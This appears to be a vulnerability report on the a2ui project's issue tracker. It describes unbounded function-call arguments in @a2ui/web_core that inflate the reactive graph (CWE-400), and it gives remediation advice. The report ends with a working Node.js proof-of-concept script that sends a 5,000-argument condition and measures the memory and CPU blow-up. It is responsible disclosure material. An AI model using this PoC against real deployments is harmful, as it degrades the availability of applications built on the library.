a2ui-project / a2ui-project/a2ui
[BUG]: Unbounded `FunctionCall.args` explode the reactive graph before schema stripping
- Ngôn ngữ chính
- TypeScript
- Star
- 16.4k
- Fork
- 1.3k
- Merge trung bình
- 2 ngày 13 giờ
- Pull request đã merge (30 ngày)
- 134
Mô tả
# Unbounded `FunctionCall.args` explode the reactive graph before schema stripping
Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)
## Summary
The `FunctionCall` schema types function arguments as `z.record(z.any())` with no count bound, and the data-context resolver iterates the **raw** argument object — before the target function's own Zod schema strips unknown keys — creating one signal, one computed, and one effect per argument. An agent binds a validation condition to `{call: "regex", args: {value:…, pattern:…, j0:…, …, j4999:…}}`; `regex` ignores the junk keys, but the resolver has already built 5,000 reactive nodes for that single condition. Repeated across components this inflates the effect graph (memory and per-change CPU) far beyond what the component count suggests.
## Affected code
- `renderers/web_core/src/v0_9/schema/common-types.ts` — `args: z.record(z.any())` (npm dist `v0_9/schema/common-types.js:25`), no argument-count bound
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` iterates `Object.entries(call.args)` raw, i.e. pre-strip, creating a signal + computed + effect per entry (npm dist `v0_9/rendering/data-context.js:146-207`)
## Observed behavior (measured)
Driven through the published package's full pipeline (`MessageProcessor.processMessages` → `ComponentContext` → `GenericBinder` → catalog invoker), one TextField `checks` condition with 5,000 arguments:
| args in binding | bind time | heap growth |
|---|---|---|
| 2 (control) | — | −0.1 MB |
| 5,000 | 117 ms | +5.5 MB |
## Impact
A remote agent can send one spec-valid `updateComponents` message whose single condition carries thousands of arguments; each such binding permanently installs thousands of reactive nodes, scaling memory and every subsequent notification cost by args × components. Availability only.
## Suggested remediation
- Bound the argument count in `FunctionCallSchema` (e.g. reject records with more than N keys).
- Schema-parse (and thereby strip) the arguments **before** `resolveSignal` iterates them, so only keys the target function declares produce reactive nodes.
## PoC
Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed in `node_modules` (e.g. `npm i @a2ui/web_core@0.10.6`), script in the same directory. Run `node poc_f20.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.
```js
// poc_f20.mjs — F-20: reactive-graph explosion via unbounded function-call args.
// resolveSignal iterates Object.entries(call.args) and creates a signal +
// computed + effect per arg BEFORE the catalog invoker Zod-parses (strips) args.
// A malicious server binds a checks condition to
// {call:'regex', args:{ value:{path}, pattern:'x', j0:{path}, ... j4999:{path} }}.
// regex's schema ignores the junk, but resolveSignal builds 5000 arg-signals +
// effects for that one condition. Confirmed if heap grows >3 MB and binding
// took >50 ms (vs a 2-arg control).
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
async function measure(nArgs) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
// build condition args
const args = { value: { path: '/n' }, pattern: 'x' };
for (let i = 0; i < nArgs; i++) args[`j${i}`] = { path: '/n' };
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 0 } },
{
version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'regex', args }, message: 'bad' }] },
] },
},
]);
const surface = processor.model.getSurface('poc');
const before = process.memoryUsage().heapUsed;
const t0 = Date.now();
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const sub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 100));
const ms = Date.now() - t0;
const after = process.memoryUsage().heapUsed;
sub.unsubscribe(); binder.dispose(); surface.dispose();
return { ms, grewMB: +((after - before) / 1048576).toFixed(1) };
}
const ctrl = await measure(0);
const big = await measure(5000);
const ok = big.grewMB > 3 && big.ms > 50 && big.grewMB > ctrl.grewMB + 3;
console.log(JSON.stringify({
finding: 'F-20-functioncall-args-reactive-explosion',
control_2args: ctrl,
with_5000_args: big,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```
Hướng dẫn đóng góp
Đánh giá
Issue này chưa được đánh giá.